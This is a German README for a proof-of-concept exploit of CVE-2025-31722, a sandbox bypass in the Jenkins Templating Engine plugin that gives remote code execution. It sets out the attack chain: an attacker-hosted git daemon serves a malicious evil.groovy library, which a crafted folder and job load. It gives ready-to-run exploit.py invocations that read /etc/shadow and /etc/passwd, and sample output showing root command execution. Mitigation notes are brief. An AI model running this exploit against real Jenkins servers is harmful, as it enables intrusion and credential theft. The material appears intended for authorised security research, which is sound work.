
Proof-of-Concept-Exploit für Jenkins Templating Engine Plugin Sandbox-Bypass (CVE-2025-31722), der Remote-Codeausführung über bösartige Groovy-Bibliotheksinjektion ermöglicht.
Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Sandbox-Bypass-Sicherheitslücke im Jenkins Templating Engine (JTE) Plugin <= 2.5.3, die es einem Benutzer mit niedrigen Berechtigungen ermöglicht, beliebigen Code auf dem Jenkins-Server auszuführen.
Der Fehler tritt auf, weil JTE Bibliotheken aus einem externen Git-Repository lädt, das in einer Ordner-Konfiguration GovernanceTier definiert ist, und die Schritte aus diesen Bibliotheken außerhalb der Groovy-Sandbox ausführt, unabhängig vom Berechtigungsgrad des Benutzers, der den Job erstellt hat.
CVSS: 8.8 (Hoch)
Typ: Sandbox-Bypass → RCE
Betroffene Komponente: pipeline-templating-engine Plugin ≤ 2.5.3
Behobene Version: 2.5.4+
Angreifer (Kali) Jenkins-Server
─────────────── ──────────────
1. Erstellt Git-Repo mit evil.groovy
2. Startet Git-Daemon auf :9418
3. Erstellt Ordner in Jenkins → Ordner mit GovernanceTier
zeigt auf git://KALI:9418/… zeigt auf Repo des Angreifers
4. Erstellt Job mit AdHoc-Vorlage → Job ruft evil() auf
5. Löst Build aus → JTE klont Repo von Kali
Führt evil() außerhalb der Sandbox aus
← RCE als Jenkins-Benutzer
cloudbees-folder, git, workflow-aggregatorattacker mit Berechtigungen: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit installiertrequestspip install requests
Das Setup wurde auf einem Debian/Ubuntu-Server installiert, Jenkins eingerichtet, Benutzer, Berechtigungen und erforderliche Plugins konfiguriert. Es erstellt keine schädlichen Inhalte — das wird ausschließlich vom PoC übernommen.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| Parameter | Beschreibung | Erforderlich |
|---|---|---|
--url | Basis-URL von Jenkins | Ja |
--user | Benutzer mit Item/CREATE+CONFIGURE+BUILD-Berechtigungen | Ja |
--pass | Benutzerpasswort | Ja |
--git-host | Kali-IP, die von Jenkins erreichbar ist | Ja |
--cmd | Auf dem Server auszuführender Befehl (Standard: id && hostname && cat /etc/passwd) | Nein |
--cleanup | Löscht den vom Exploit erstellten Ordner, Job und das Repository | Nein |
setup_repo() — Erstellt ~/jte-exploit/evil-lib/steps/evil.groovy auf Kali mit dem auszuführenden Befehlstart_git_daemon() — Startet git daemon auf Kali auf Port 9418create_folder() — Erstellt einen Ordner in Jenkins mit einem GovernanceTier, der auf git://KALI:9418/jte-exploit zeigtcreate_job() — Erstellt einen Job mit AdHocTemplateFlowDefinition, der evil-lib deklariert und evil() aufrufttrigger_and_wait() — Löst den Build aus und wartet auf das Ergebnisprint_output() — Zeigt die Konsolenausgabe mit dem RCE-Ergebnis anDer Git-Daemon bleibt während des gesamten Build-Zyklus aktiv und wird automatisch beendet, sobald der Build abgeschlossen ist.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE und Item/CONFIGURE auf vertrauenswürdige BenutzerGovernanceTier-Konfigurationen, die auf externe Repositorys verweisenRechtlicher Hinweis: Dieses PoC dient ausschließlich zu Bildungszwecken und zum Testen in kontrollierten Umgebungen. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist illegal.